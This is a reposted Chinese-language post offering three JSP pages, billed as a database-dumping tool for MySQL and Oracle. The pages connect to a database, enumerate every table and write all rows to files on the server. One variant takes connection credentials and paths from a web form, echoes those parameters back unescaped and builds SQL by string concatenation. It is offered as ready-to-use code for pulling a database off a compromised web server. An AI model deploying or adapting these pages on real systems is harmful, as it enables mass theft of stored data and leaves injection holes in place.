jsp数据库脱裤脚本,可脱mysql,oracle.

<%@ page import="java.sql.*" %>

<%@ page import="java.util.*" %>

<%@ page import="java.io.*" %>

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%

try {

//备份文件存放的绝对路径

String backupDir = "c:/";

String ex=".txt";

String driver = "com.mysql.jdbc.Driver";

String url = "jdbc:mysql://localhost:3306/dbname";

String username = "user";

String password = "pass";

Class.forName(driver);

Connection conn = DriverManager.getConnection(url, username, password);

// Get tables

DatabaseMetaData dmd = conn.getMetaData();

ResultSet rs = dmd.getTables(null, null, "%", null);

ArrayList<String> tables = new ArrayList<String>();

while (rs.next()) {

tables.add(rs.getString(3));

}

rs.close();

ResultSetMetaData rsmd = null;

Statement stmt = conn.createStatement();

for (String table : tables) {

rs = stmt.executeQuery("SHOW CREATE TABLE " + table);

rsmd = rs.getMetaData();

while (rs.next()) {

/*

* mysql> SHOW CREATE TABLE t\G

*************************** 1. row ***************************

*        Table: t

*        Create Table: CREATE TABLE t (

*                        id int(11) default NULL auto_increment,

*                        s char(60) default NULL,

*                        PRIMARY KEY (id)

*                      ) TYPE=MyISAM

*/

// JDBC is 1-based, Java is not !?

//            osw.append(rs.getString(2) + "\n\n");

}

rs.close();

out.println("Dumping data for table " + table + "...<br />");

OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");

BufferedWriter bw=new BufferedWriter(osw);

rs = stmt.executeQuery("SELECT * FROM " + table);

rsmd = rs.getMetaData();

while (rs.next()) {

bw.append("INSERT INTO " + table + " VALUES(");

// JDBC is 1-based, Java is not !?

for (int col = 1; col <= rsmd.getColumnCount(); col++) {

bw.append("'");

if (rs.getString(col) == null)

bw.append("");

else

bw.append(rs.getString(col));

if (col == rsmd.getColumnCount())

bw.append("'");

else

bw.append("',");

}

bw.append(");");

bw.newLine();

}

bw.flush();

bw.close();

osw.close();

rs.close();

}

stmt.close();

out.println("backup is ok");

conn.close();

} catch (Exception e) {

response.setStatus(200);

e.printStackTrace();

}

out.println("<p><h3>finished</h3></p>");

%>

<%@ page import="java.sql.*" %>

<%@ page import="java.util.*" %>

<%@ page import="java.io.*" %>

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%

try {

String table=request.getParameter("table_name");

if(table!=null&&!table.equals("")){

String backupDir = request.getParameter("bak_path");

String ex=".txt";

String driver =request.getParameter("driver");

String url = request.getParameter("url");

String username = request.getParameter("username");

String password = request.getParameter("password");

Class.forName(driver);

Connection conn = DriverManager.getConnection(url, username, password);

ResultSetMetaData rsmd = null;

ResultSet rs=null;

Statement stmt = conn.createStatement();

out.println("Dumping data for table " + table + "...<br />");

OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");

BufferedWriter bw=new BufferedWriter(osw);

rs = stmt.executeQuery("SELECT * FROM " + table);

rsmd = rs.getMetaData();

while (rs.next()) {

bw.append("INSERT INTO " + table + " VALUES(");

// JDBC is 1-based, Java is not !?

for (int col = 1; col <= rsmd.getColumnCount(); col++) {

bw.append("'");

if (rs.getString(col) == null)

bw.append("");

else

bw.append(rs.getString(col));

if (col == rsmd.getColumnCount())

bw.append("'");

else

bw.append("',");

}

bw.append(");");

bw.newLine();

}

bw.flush();

bw.close();

osw.close();

rs.close();

stmt.close();

out.println("backup is ok");

conn.close();

}

else{

out.println("输入表名...");

}

} catch (Exception e) {

response.setStatus(200);

e.printStackTrace();

}

%>

<form action="" method="post" name="form1" id="form1">

<p>备份目录：<input type="text" name="bak_path" <%=request.getParameter("bak_path")%>/></p>

<p>table_name:<input type="text" name="table_name" /></p>

<p>url:<input type="text" name="url" value="<%=request.getParameter("url")%>"/></p>

<p>driver:<input type="text" name="driver" value="<%=request.getParameter("driver")%>"/></p>

<p>username:<input type="text" name="username" value="<%=request.getParameter("username")%>"/></p>

<p>password:<input type="text" name="password" value="<%=request.getParameter("password")%>"/></p>

<p><input type="submit" name="Submit" value="提交" /></p>

</form>
oracle.jsp  oracle当前用户所有表 <%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String backupDir = "/usr/data/";
String ex=".txt";

String driver = "oracle.jdbc.driver.OracleDriver";
String url = "jdbc:oracle:thin:user/pass@localhost:1521:orcl";
String username = "user";
String password = "pass";

Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);

// Get tables
String sql_tables="select TABLE_NAME from user_tab_comments";
PreparedStatement ps = conn.prepareStatement(sql_tables);
ResultSet rs = ps.executeQuery();
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(1));
}
rs.close();

for(int i=0;i<tables.size();i++){
String table=tables.get(i);
out.println("Dumping data for table " + table + "...<br />");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
String sql="select * from "+table;
PreparedStatement p = conn.prepareStatement(sql);
ResultSet r = p.executeQuery();
ResultSetMetaData rsmeta=r.getMetaData();

while(r.next()){
bw.append("INSERT INTO " + table + " VALUES(");
// JDBC is 1-based, Java is not !?
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
bw.append("'");
if (r.getString(col) == null)
bw.append("");
else
bw.append(r.getString(col));
if (col == rsmeta.getColumnCount())
bw.append("'");
else
bw.append("', ");
}
bw.append(");");
bw.newLine();
}

bw.flush();
bw.close();
osw.close();
r.close();
}

rs.close();
out.println("backup is ok");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>

转自http://www.shack2.org/article/151.html